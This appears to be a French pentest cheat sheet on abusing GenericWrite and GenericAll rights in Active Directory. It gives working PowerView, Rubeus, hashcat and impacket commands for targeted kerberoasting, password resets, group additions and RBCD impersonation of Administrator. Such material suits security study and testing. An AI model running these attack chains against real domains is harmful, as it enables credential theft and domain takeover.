Aller au contenu

GenericWrite GenericAll

Les ACE GenericWrite et GenericAll sur un objet AD permettent de l'attaquer de plusieurs manières : ajout d'un SPN pour le rendre kerberoastable (targeted kerberoasting), changement direct du mot de passe, ajout à un groupe privilégié, ou abus de la RBCD sur un compte machine. Vecteur central de la plupart des chaînes d'attaque AD.

📝 Ajout d'un SPN pour Kerberoasting

Si notre utilisateur a les droits GenericWrite ou GenericAll sur un objet de l'AD, il est possible de mettre un SPN sur cet objet, ce qui le rend par la suite kerberoastable.

Énumération des droits de notre utilisateur :

Find-InterestingDomainACL -ResolveGUIDs | ?{$_.IdentityReferenceName -match "notreUser"}

Mise en place d'un SPN sur l'utilisateur cible :

Set-DomainObject -Identity UtilisateurCible -Set @{serviceprincipalname='us/hackedBro'}
---
Set-ADUser -Identity UtilisateurCible -ServicePrincipalNames @{add='us/hackedBro'}

Kerberoasting de l'utilisateur :

Rubeus.exe kerberoast /outfile:target.txt

Cracking du hash :

hashcat '$tgs' /ush/share/wordlist/rockyou.txt

Changement direct de mot de passe avec GenericAll

Avec le droit GenericAll, il est possible de changer directement le mot de passe de l'objet sur lequel le droit s'applique, mais cette action est beaucoup moins "safe" que d'ajouter un SPN :

net user userCible password /domain

Ajout à un groupe avec GenericAll

Si le droit GenericAll s'applique sur un groupe, il est possible de s'ajouter dans ce groupe :

net group "groupe" user /add /domain

📝 GenericWrite sur un compte machine

Ce droit permet d'abuser de la Resource-Based Constrained Delegation (RBCD).

🍔 Depuis Windows

Pour exploiter ce droit, nous avons besoin des scripts powermad.ps1 et [PowerView](../../../Cheatsheets/Tools/PowerView.md).

Création d'un compte machine :

import-module powermad
New-MachineAccount -MachineAccount paked -Password $(ConvertTo-SecureString 'Sup3P4ssw0rd!' -AsPlainText -Force) -Verbose

Vérification de la création du compte :

Get-DomainComputer

Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :

$ComputerSid = Get-DomainComputer paked -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer $cible | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Récupération du hash du compte machine créé :

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :

rubeus.exe s4u /user:paked$ /aes256:<aes256> /aes128:<aes128> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/cible /domain:domain.local /ptt /altservice:http/cible

🐧 Depuis Linux

Création d'un compte machine :

impacket-addcomputer -computer-name 'COMPUTER$' -computer-pass '$password' -dc-host $dc -domain-netbios $DOMAIN 'domain.local\$user:$password'

Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :

impacket-rbcd -delegate-from 'paked$' -delegate-to 'cible$' -dc-ip '$dc$' -action 'write' 'domain.local'/'$utilisateur':'$Password'

Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :

impacket-getST -spn 'cifs/$cible' -impersonate Administrator -dc-ip '$dc' 'domain.local/paked$:$password'